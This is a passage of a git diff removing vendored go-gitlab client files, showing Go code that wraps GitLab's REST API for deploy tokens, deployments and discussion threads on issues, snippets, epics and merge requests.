nil { - return nil, nil, err - } - u := fmt.Sprintf("groups/%s/deploy_tokens", pathEscape(group)) - - req, err := s.client.NewRequest("POST", u, opt, options) - if err != nil { - return nil, nil, err - } - - t := new(DeployToken) - resp, err := s.client.Do(req, t) - if err != nil { - return nil, resp, err - } - - return t, resp, err -} - -// DeleteGroupDeployToken removes a deploy token from the group. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/deploy_tokens.html#delete-a-group-deploy-token -func (s *DeployTokensService) DeleteGroupDeployToken(gid interface{}, deployToken int, options ...RequestOptionFunc) (*Response, error) { - group, err := parseID(gid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("groups/%s/deploy_tokens/%d", pathEscape(group), deployToken) - - req, err := s.client.NewRequest("DELETE", u, nil, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} diff --git a/vendor/github.com/xanzy/go-gitlab/deployments.go b/vendor/github.com/xanzy/go-gitlab/deployments.go deleted file mode 100644 index 2855f91460..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/deployments.go +++ /dev/null @@ -1,193 +0,0 @@ -// -// Copyright 2018, Sander van Harmelen -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package gitlab - -import ( - "fmt" - "time" -) - -// DeploymentsService handles communication with the deployment related methods -// of the GitLab API. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/deployments.html -type DeploymentsService struct { - client *Client -} - -// Deployment represents the Gitlab deployment -type Deployment struct { - ID int `json:"id"` - IID int `json:"iid"` - Ref string `json:"ref"` - SHA string `json:"sha"` - CreatedAt *time.Time `json:"created_at"` - UpdatedAt *time.Time `json:"updated_at"` - User *ProjectUser `json:"user"` - Environment *Environment `json:"environment"` - Deployable struct { - ID int `json:"id"` - Status string `json:"status"` - Stage string `json:"stage"` - Name string `json:"name"` - Ref string `json:"ref"` - Tag bool `json:"tag"` - Coverage float64 `json:"coverage"` - CreatedAt *time.Time `json:"created_at"` - StartedAt *time.Time `json:"started_at"` - FinishedAt *time.Time `json:"finished_at"` - Duration float64 `json:"duration"` - User *User `json:"user"` - Commit *Commit `json:"commit"` - Pipeline struct { - ID int `json:"id"` - SHA string `json:"sha"` - Ref string `json:"ref"` - Status string `json:"status"` - } `json:"pipeline"` - Runner *Runner `json:"runner"` - } `json:"deployable"` -} - -// ListProjectDeploymentsOptions represents the available ListProjectDeployments() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/deployments.html#list-project-deployments -type ListProjectDeploymentsOptions struct { - ListOptions - OrderBy *string `url:"order_by,omitempty" json:"order_by,omitempty"` - Sort *string `url:"sort,omitempty" json:"sort,omitempty"` - UpdatedAfter *time.Time `url:"updated_after,omitempty" json:"updated_after,omitempty"` - UpdatedBefore *time.Time `url:"update_before,omitempty" json:"updated_before,omitempty"` - Environment *string `url:"environment,omitempty" json:"environment,omitempty"` - Status *string `url:"status,omitempty" json:"status,omitempty"` -} - -// ListProjectDeployments gets a list of deployments in a project. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/deployments.html#list-project-deployments -func (s *DeploymentsService) ListProjectDeployments(pid interface{}, opts *ListProjectDeploymentsOptions, options ...RequestOptionFunc) ([]*Deployment, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/deployments", pathEscape(project)) - - req, err := s.client.NewRequest("GET", u, opts, options) - if err != nil { - return nil, nil, err - } - - var ds []*Deployment - resp, err := s.client.Do(req, &ds) - if err != nil { - return nil, resp, err - } - - return ds, resp, err -} - -// GetProjectDeployment get a deployment for a project. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/deployments.html#get-a-specific-deployment -func (s *DeploymentsService) GetProjectDeployment(pid interface{}, deployment int, options ...RequestOptionFunc) (*Deployment, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/deployments/%d", pathEscape(project), deployment) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - d := new(Deployment) - resp, err := s.client.Do(req, d) - if err != nil { - return nil, resp, err - } - - return d, resp, err -} - -// CreateProjectDeploymentOptions represents the available -// CreateProjectDeployment() options. -// -// GitLab API docs: https://docs.gitlab.com/ee/api/deployments.html#create-a-deployment -type CreateProjectDeploymentOptions struct { - Environment *string `url:"environment,omitempty" json:"environment,omitempty"` - Ref *string `url:"ref,omitempty" json:"ref,omitempty"` - SHA *string `url:"sha,omitempty" json:"sha,omitempty"` - Tag *bool `url:"tag,omitempty" json:"tag,omitempty"` - Status *DeploymentStatusValue `url:"status,omitempty" json:"status,omitempty"` -} - -// CreateProjectDeployment creates a project deployment. -// -// GitLab API docs: https://docs.gitlab.com/ee/api/deployments.html#create-a-deployment -func (s *DeploymentsService) CreateProjectDeployment(pid interface{}, opt *CreateProjectDeploymentOptions, options ...RequestOptionFunc) (*Deployment, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/deployments", pathEscape(project)) - - req, err := s.client.NewRequest("POST", u, opt, options) - if err != nil { - return nil, nil, err - } - - d := new(Deployment) - resp, err := s.client.Do(req, &d) - if err != nil { - return nil, resp, err - } - - return d, resp, err -} - -// UpdateProjectDeploymentOptions represents the available -// UpdateProjectDeployment() options. -// -// GitLab API docs: https://docs.gitlab.com/ee/api/deployments.html#updating-a-deployment -type UpdateProjectDeploymentOptions struct { - Status *DeploymentStatusValue `url:"status,omitempty" json:"status,omitempty"` -} - -// UpdateProjectDeployment updates a project deployment. -// -// GitLab API docs: https://docs.gitlab.com/ee/api/deployments.html#updating-a-deployment -func (s *DeploymentsService) UpdateProjectDeployment(pid interface{}, deployment int, opt *UpdateProjectDeploymentOptions, options ...RequestOptionFunc) (*Deployment, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/deployments/%d", pathEscape(project), deployment) - - req, err := s.client.NewRequest("PUT", u, opt, options) - if err != nil { - return nil, nil, err - } - - d := new(Deployment) - resp, err := s.client.Do(req, &d) - if err != nil { - return nil, resp, err - } - - return d, resp, err -} diff --git a/vendor/github.com/xanzy/go-gitlab/discussions.go b/vendor/github.com/xanzy/go-gitlab/discussions.go deleted file mode 100644 index 14a5401dd7..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/discussions.go +++ /dev/null @@ -1,1112 +0,0 @@ -// -// Copyright 2018, Sander van Harmelen -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// - -package gitlab - -import ( - "fmt" - "time" -) - -// DiscussionsService handles communication with the discussions related -// methods of the GitLab API. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/discussions.html -type DiscussionsService struct { - client *Client -} - -// Discussion represents a GitLab discussion. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/discussions.html -type Discussion struct { - ID string `json:"id"` - IndividualNote bool `json:"individual_note"` - Notes []*Note `json:"notes"` -} - -func (d Discussion) String() string { - return Stringify(d) -} - -// ListIssueDiscussionsOptions represents the available ListIssueDiscussions() -// options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/discussions.html#list-project-issue-discussion-items -type ListIssueDiscussionsOptions ListOptions - -// ListIssueDiscussions gets a list of all discussions for a single -// issue. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/discussions.html#list-project-issue-discussion-items -func (s *DiscussionsService) ListIssueDiscussions(pid interface{}, issue int, opt *ListIssueDiscussionsOptions, options ...RequestOptionFunc) ([]*Discussion, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/issues/%d/discussions", pathEscape(project), issue) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - var ds []*Discussion - resp, err := s.client.Do(req, &ds) - if err != nil { - return nil, resp, err - } - - return ds, resp, err -} - -// GetIssueDiscussion returns a single discussion for a specific project issue. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/discussions.html#get-single-issue-discussion-item -func (s *DiscussionsService) GetIssueDiscussion(pid interface{}, issue int, discussion string, options ...RequestOptionFunc) (*Discussion, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/issues/%d/discussions/%s", - pathEscape(project), - issue, - discussion, - ) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - d := new(Discussion) - resp, err := s.client.Do(req, d) - if err != nil { - return nil, resp, err - } - - return d, resp, err -} - -// CreateIssueDiscussionOptions represents the available CreateIssueDiscussion() -// options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/discussions.html#create-new-issue-thread -type CreateIssueDiscussionOptions struct { - Body *string `url:"body,omitempty" json:"body,omitempty"` - CreatedAt *time.Time `url:"created_at,omitempty" json:"created_at,omitempty"` -} - -// CreateIssueDiscussion creates a new discussion to a single project issue. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/discussions.html#create-new-issue-thread -func (s *DiscussionsService) CreateIssueDiscussion(pid interface{}, issue int, opt *CreateIssueDiscussionOptions, options ...RequestOptionFunc) (*Discussion, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/issues/%d/discussions", pathEscape(project), issue) - - req, err := s.client.NewRequest("POST", u, opt, options) - if err != nil { - return nil, nil, err - } - - d := new(Discussion) - resp, err := s.client.Do(req, d) - if err != nil { - return nil, resp, err - } - - return d, resp, err -} - -// AddIssueDiscussionNoteOptions represents the available AddIssueDiscussionNote() -// options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/discussions.html#add-note-to-existing-issue-thread -type AddIssueDiscussionNoteOptions struct { - Body *string `url:"body,omitempty" json:"body,omitempty"` - CreatedAt *time.Time `url:"created_at,omitempty" json:"created_at,omitempty"` -} - -// AddIssueDiscussionNote creates a new discussion to a single project issue. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/discussions.html#add-note-to-existing-issue-thread -func (s *DiscussionsService) AddIssueDiscussionNote(pid interface{}, issue int, discussion string, opt *AddIssueDiscussionNoteOptions, options ...RequestOptionFunc) (*Note, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/issues/%d/discussions/%s/notes", - pathEscape(project), - issue, - discussion, - ) - - req, err := s.client.NewRequest("POST", u, opt, options) - if err != nil { - return nil, nil, err - } - - n := new(Note) - resp, err := s.client.Do(req, n) - if err != nil { - return nil, resp, err - } - - return n, resp, err -} - -// UpdateIssueDiscussionNoteOptions represents the available -// UpdateIssueDiscussion() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/discussions.html#modify-existing-issue-thread-note -type UpdateIssueDiscussionNoteOptions struct { - Body *string `url:"body,omitempty" json:"body,omitempty"` - CreatedAt *time.Time `url:"created_at,omitempty" json:"created_at,omitempty"` -} - -// UpdateIssueDiscussionNote modifies existing discussion of an issue. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/discussions.html#modify-existing-issue-thread-note -func (s *DiscussionsService) UpdateIssueDiscussionNote(pid interface{}, issue int, discussion string, note int, opt *UpdateIssueDiscussionNoteOptions, options ...RequestOptionFunc) (*Note, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/issues/%d/discussions/%s/notes/%d", - pathEscape(project), - issue, - discussion, - note, - ) - - req, err := s.client.NewRequest("PUT", u, opt, options) - if err != nil { - return nil, nil, err - } - - n := new(Note) - resp, err := s.client.Do(req, n) - if err != nil { - return nil, resp, err - } - - return n, resp, err -} - -// DeleteIssueDiscussionNote deletes an existing discussion of an issue. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/discussions.html#delete-an-issue-thread-note -func (s *DiscussionsService) DeleteIssueDiscussionNote(pid interface{}, issue int, discussion string, note int, options ...RequestOptionFunc) (*Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("projects/%s/issues/%d/discussions/%s/notes/%d", - pathEscape(project), - issue, - discussion, - note, - ) - - req, err := s.client.NewRequest("DELETE", u, nil, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} - -// ListSnippetDiscussionsOptions represents the available ListSnippetDiscussions() -// options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/discussions.html#list-project-snippet-discussion-items -type ListSnippetDiscussionsOptions ListOptions - -// ListSnippetDiscussions gets a list of all discussions for a single -// snippet. Snippet discussions are comments users can post to a snippet. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/discussions.html#list-project-snippet-discussion-items -func (s *DiscussionsService) ListSnippetDiscussions(pid interface{}, snippet int, opt *ListSnippetDiscussionsOptions, options ...RequestOptionFunc) ([]*Discussion, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/snippets/%d/discussions", pathEscape(project), snippet) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - var ds []*Discussion - resp, err := s.client.Do(req, &ds) - if err != nil { - return nil, resp, err - } - - return ds, resp, err -} - -// GetSnippetDiscussion returns a single discussion for a given snippet. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/discussions.html#get-single-snippet-discussion-item -func (s *DiscussionsService) GetSnippetDiscussion(pid interface{}, snippet int, discussion string, options ...RequestOptionFunc) (*Discussion, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/snippets/%d/discussions/%s", - pathEscape(project), - snippet, - discussion, - ) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - d := new(Discussion) - resp, err := s.client.Do(req, d) - if err != nil { - return nil, resp, err - } - - return d, resp, err -} - -// CreateSnippetDiscussionOptions represents the available -// CreateSnippetDiscussion() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/discussions.html#create-new-snippet-thread -type CreateSnippetDiscussionOptions struct { - Body *string `url:"body,omitempty" json:"body,omitempty"` - CreatedAt *time.Time `url:"created_at,omitempty" json:"created_at,omitempty"` -} - -// CreateSnippetDiscussion creates a new discussion for a single snippet. -// Snippet discussions are comments users can post to a snippet. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/discussions.html#create-new-snippet-thread -func (s *DiscussionsService) CreateSnippetDiscussion(pid interface{}, snippet int, opt *CreateSnippetDiscussionOptions, options ...RequestOptionFunc) (*Discussion, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/snippets/%d/discussions", pathEscape(project), snippet) - - req, err := s.client.NewRequest("POST", u, opt, options) - if err != nil { - return nil, nil, err - } - - d := new(Discussion) - resp, err := s.client.Do(req, d) - if err != nil { - return nil, resp, err - } - - return d, resp, err -} - -// AddSnippetDiscussionNoteOptions represents the available -// AddSnippetDiscussionNote() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/discussions.html#add-note-to-existing-snippet-thread -type AddSnippetDiscussionNoteOptions struct { - Body *string `url:"body,omitempty" json:"body,omitempty"` - CreatedAt *time.Time `url:"created_at,omitempty" json:"created_at,omitempty"` -} - -// AddSnippetDiscussionNote creates a new discussion to a single project -// snippet. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/discussions.html#add-note-to-existing-snippet-thread -func (s *DiscussionsService) AddSnippetDiscussionNote(pid interface{}, snippet int, discussion string, opt *AddSnippetDiscussionNoteOptions, options ...RequestOptionFunc) (*Note, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/snippets/%d/discussions/%s/notes", - pathEscape(project), - snippet, - discussion, - ) - - req, err := s.client.NewRequest("POST", u, opt, options) - if err != nil { - return nil, nil, err - } - - n := new(Note) - resp, err := s.client.Do(req, n) - if err != nil { - return nil, resp, err - } - - return n, resp, err -} - -// UpdateSnippetDiscussionNoteOptions represents the available -// UpdateSnippetDiscussion() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/discussions.html#modify-existing-snippet-thread-note -type UpdateSnippetDiscussionNoteOptions struct { - Body *string `url:"body,omitempty" json:"body,omitempty"` - CreatedAt *time.Time `url:"created_at,omitempty" json:"created_at,omitempty"` -} - -// UpdateSnippetDiscussionNote modifies existing discussion of a snippet. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/discussions.html#modify-existing-snippet-thread-note -func (s *DiscussionsService) UpdateSnippetDiscussionNote(pid interface{}, snippet int, discussion string, note int, opt *UpdateSnippetDiscussionNoteOptions, options ...RequestOptionFunc) (*Note, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/snippets/%d/discussions/%s/notes/%d", - pathEscape(project), - snippet, - discussion, - note, - ) - - req, err := s.client.NewRequest("PUT", u, opt, options) - if err != nil { - return nil, nil, err - } - - n := new(Note) - resp, err := s.client.Do(req, n) - if err != nil { - return nil, resp, err - } - - return n, resp, err -} - -// DeleteSnippetDiscussionNote deletes an existing discussion of a snippet. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/discussions.html#delete-a-snippet-thread-note -func (s *DiscussionsService) DeleteSnippetDiscussionNote(pid interface{}, snippet int, discussion string, note int, options ...RequestOptionFunc) (*Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("projects/%s/snippets/%d/discussions/%s/notes/%d", - pathEscape(project), - snippet, - discussion, - note, - ) - - req, err := s.client.NewRequest("DELETE", u, nil, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} - -// ListGroupEpicDiscussionsOptions represents the available -// ListEpicDiscussions() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/discussions.html#list-group-epic-discussion-items -type ListGroupEpicDiscussionsOptions ListOptions - -// ListGroupEpicDiscussions gets a list of all discussions for a single -// epic. Epic discussions are comments users can post to a epic. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/discussions.html#list-group-epic-discussion-items -func (s *DiscussionsService) ListGroupEpicDiscussions(gid interface{}, epic int, opt *ListGroupEpicDiscussionsOptions, options ...RequestOptionFunc) ([]*Discussion, *Response, error) { - group, err := parseID(gid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("groups/%s/epics/%d/discussions", - pathEscape(group), - epic, - ) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - var ds []*Discussion - resp, err := s.client.Do(req, &ds) - if err != nil { - return nil, resp, err - } - - return ds, resp, err -} - -// GetEpicDiscussion returns a single discussion for a given epic. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/discussions.html#get-single-epic-discussion-item -func (s *DiscussionsService) GetEpicDiscussion(gid interface{}, epic int, discussion string, options ...RequestOptionFunc) (*Discussion, *Response, error) { - group, err := parseID(gid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("groups/%s/epics/%d/discussions/%s", - pathEscape(group), - epic, - discussion, - ) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - d := new(Discussion) - resp, err := s.client.Do(req, d) - if err != nil { - return nil, resp, err - } - - return d, resp, err -} - -// CreateEpicDiscussionOptions represents the available CreateEpicDiscussion() -// options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/discussions.html#add-note-to-existing-epic-thread -type CreateEpicDiscussionOptions struct { - Body *string `url:"body,omitempty" json:"body,omitempty"` - CreatedAt *time.Time `url:"created_at,omitempty" json:"created_at,omitempty"` -} - -// CreateEpicDiscussion creates a new discussion for a single epic. Epic -// discussions are comments users can post to a epic. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/discussions.html#add-note-to-existing-epic-thread -func (s *DiscussionsService) CreateEpicDiscussion(gid interface{}, epic int, opt *CreateEpicDiscussionOptions, options ...RequestOptionFunc) (*Discussion, *Response, error) { - group, err := parseID(gid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("groups/%s/epics/%d/discussions", - pathEscape(group), - epic, - ) - - req, err := s.client.NewRequest("POST", u, opt, options) - if err != nil { - return nil, nil, err - } - - d := new(Discussion) - resp, err := s.client.Do(req, d) - if err != nil { - return nil, resp, err - } - - return d, resp, err -} - -// AddEpicDiscussionNoteOptions represents the available -// AddEpicDiscussionNote() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/discussions.html#add-note-to-existing-epic-thread -type AddEpicDiscussionNoteOptions struct { - Body *string `url:"body,omitempty" json:"body,omitempty"` - CreatedAt *time.Time `url:"created_at,omitempty" json:"created_at,omitempty"` -} - -// AddEpicDiscussionNote creates a new discussion to a single project epic. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/discussions.html#add-note-to-existing-epic-thread -func (s *DiscussionsService) AddEpicDiscussionNote(gid interface{}, epic int, discussion string, opt *AddEpicDiscussionNoteOptions, options ...RequestOptionFunc) (*Note, *Response, error) { - group, err := parseID(gid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("groups/%s/epics/%d/discussions/%s/notes", - pathEscape(group), - epic, - discussion, - ) - - req, err := s.client.NewRequest("POST", u, opt, options) - if err != nil { - return nil, nil, err - } - - n := new(Note) - resp, err := s.client.Do(req, n) - if err != nil { - return nil, resp, err - } - - return n, resp, err -} - -// UpdateEpicDiscussionNoteOptions represents the available UpdateEpicDiscussion() -// options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/discussions.html#modify-existing-epic-thread-note -type UpdateEpicDiscussionNoteOptions struct { - Body *string `url:"body,omitempty" json:"body,omitempty"` - CreatedAt *time.Time `url:"created_at,omitempty" json:"created_at,omitempty"` -} - -// UpdateEpicDiscussionNote modifies existing discussion of a epic. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/discussions.html#modify-existing-epic-thread-note -func (s *DiscussionsService) UpdateEpicDiscussionNote(gid interface{}, epic int, discussion string, note int, opt *UpdateEpicDiscussionNoteOptions, options ...RequestOptionFunc) (*Note, *Response, error) { - group, err := parseID(gid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("groups/%s/epics/%d/discussions/%s/notes/%d", - pathEscape(group), - epic, - discussion, - note, - ) - - req, err := s.client.NewRequest("PUT", u, opt, options) - if err != nil { - return nil, nil, err - } - - n := new(Note) - resp, err := s.client.Do(req, n) - if err != nil { - return nil, resp, err - } - - return n, resp, err -} - -// DeleteEpicDiscussionNote deletes an existing discussion of a epic. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/discussions.html#delete-an-epic-thread-note -func (s *DiscussionsService) DeleteEpicDiscussionNote(gid interface{}, epic int, discussion string, note int, options ...RequestOptionFunc) (*Response, error) { - group, err := parseID(gid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("groups/%s/epics/%d/discussions/%s/notes/%d", - pathEscape(group), - epic, - discussion, - note, - ) - - req, err := s.client.NewRequest("DELETE", u, nil, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} - -// ListMergeRequestDiscussionsOptions represents the available -// ListMergeRequestDiscussions() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/discussions.html#list-project-merge-request-discussion-items -type ListMergeRequestDiscussionsOptions ListOptions - -// ListMergeRequestDiscussions gets a list of all discussions for a single -// merge request. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/discussions.html#list-project-merge-request-discussion-items -func (s *DiscussionsService) ListMergeRequestDiscussions(pid interface{}, mergeRequest int, opt *ListMergeRequestDiscussionsOptions, options ...RequestOptionFunc) ([]*Discussion, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/merge_requests/%d/discussions", - pathEscape(project), - mergeRequest, - ) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - var ds []*Discussion - resp, err := s.client.Do(req, &ds) - if err != nil { - return nil, resp, err - } - - return ds, resp, err -} - -// GetMergeRequestDiscussion returns a single discussion for a given merge -// request. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/discussions.html#get-single-merge-request-discussion-item -func (s *DiscussionsService) GetMergeRequestDiscussion(pid interface{}, mergeRequest int, discussion string, options ...RequestOptionFunc) (*Discussion, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/merge_requests/%d/discussions/%s", - pathEscape(project), - mergeRequest, - discussion, - ) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - d := new(Discussion) - resp, err := s.client.Do(req, d) - if err != nil { - return nil, resp, err - } - - return d, resp, err -} - -// CreateMergeRequestDiscussionOptions represents the available -// CreateMergeRequestDiscussion() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/discussions.html#create-new-merge-request-thread -type CreateMergeRequestDiscussionOptions struct { - Body *string `url:"body,omitempty" json:"body,omitempty"` - CreatedAt *time.Time `url:"created_at,omitempty" json:"created_at,omitempty"` - Position *NotePosition `url:"position,omitempty" json:"position,omitempty"` -} - -// CreateMergeRequestDiscussion creates a new discussion for a single merge -// request. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/discussions.html#create-new-merge-request-thread -func (s *DiscussionsService) CreateMergeRequestDiscussion(pid interface{}, mergeRequest int, opt *CreateMergeRequestDiscussionOptions, options ...RequestOptionFunc) (*Discussion, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/merge_requests/%d/discussions", - pathEscape(project), - mergeRequest, - ) - - req, err := s.client.NewRequest("POST", u, opt, options) - if err != nil { - return nil, nil, err - } - - d := new(Discussion) - resp, err := s.client.Do(req, d) - if err != nil { - return nil, resp, err - } - - return d, resp, err -} - -// ResolveMergeRequestDiscussionOptions represents the available -// ResolveMergeRequestDiscussion() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/discussions.html#resolve-a-merge-request-thread -type ResolveMergeRequestDiscussionOptions struct { - Resolved *bool `url:"resolved,omitempty" json:"resolved,omitempty"` -} - -// ResolveMergeRequestDiscussion resolves/unresolves whole discussion of a merge -// request. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/discussions.html#resolve-a-merge-request-thread -func (s *DiscussionsService) ResolveMergeRequestDiscussion(pid interface{}, mergeRequest int, discussion string, opt *ResolveMergeRequestDiscussionOptions, options ...RequestOptionFunc) (*Discussion, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/merge_requests/%d/discussions/%s", - pathEscape(project), - mergeRequest, - discussion, - ) - - req, err := s.client.NewRequest("PUT", u, opt, options) - if err != nil { - return nil, nil, err - } - - d := new(Discussion) - resp, err := s.client.Do(req, d) - if err != nil { - return nil, resp, err - } - - return d, resp, err -} - -// AddMergeRequestDiscussionNoteOptions represents the available -// AddMergeRequestDiscussionNote() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/discussions.html#add-note-to-existing-merge-request-discussion -type AddMergeRequestDiscussionNoteOptions struct { - Body *string `url:"body,omitempty" json:"body,omitempty"` - CreatedAt *time.Time `url:"created_at,omitempty" json:"created_at,omitempty"` -} - -// AddMergeRequestDiscussionNote creates a new discussion to a single project -// merge request. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/discussions.html#add-note-to-existing-merge-request-discussion -func (s *DiscussionsService) AddMergeRequestDiscussionNote(pid interface{}, mergeRequest int, discussion string, opt *AddMergeRequestDiscussionNoteOptions, options ...RequestOptionFunc) (*Note, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/merge_requests/%d/discussions/%s/notes", - pathEscape(project), - mergeRequest, - discussion, - ) - - req, err := s.client.NewRequest("POST", u, opt, options) - if err != nil { - return nil, nil, err - } - - n := new(Note) - resp, err := s.client.Do(req, n) - if err != nil { - return nil, resp, err - } - - return n, resp, err -} - -// UpdateMergeRequestDiscussionNoteOptions represents the available -// UpdateMergeRequestDiscussion() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/discussions.html#modify-existing-merge-request-discussion-note -type UpdateMergeRequestDiscussionNoteOptions struct { - Body *string `url:"body,omitempty" json:"body,omitempty"` - CreatedAt *time.Time `url:"created_at,omitempty" json:"created_at,omitempty"` - Resolved *bool `url:"resolved,omitempty" json:"resolved,omitempty"` -} - -// UpdateMergeRequestDiscussionNote modifies existing discussion of a merge -// request. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/discussions.html#modify-existing-merge-request-discussion-note -func (s *DiscussionsService) UpdateMergeRequestDiscussionNote(pid interface{}, mergeRequest int, discussion string, note int, opt *UpdateMergeRequestDiscussionNoteOptions, options ...RequestOptionFunc) (*Note, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/merge_requests/%d/discussions/%s/notes/%d", - pathEscape(project), - mergeRequest, - discussion, - note, - ) - - req, err := s.client.NewRequest("PUT", u, opt, 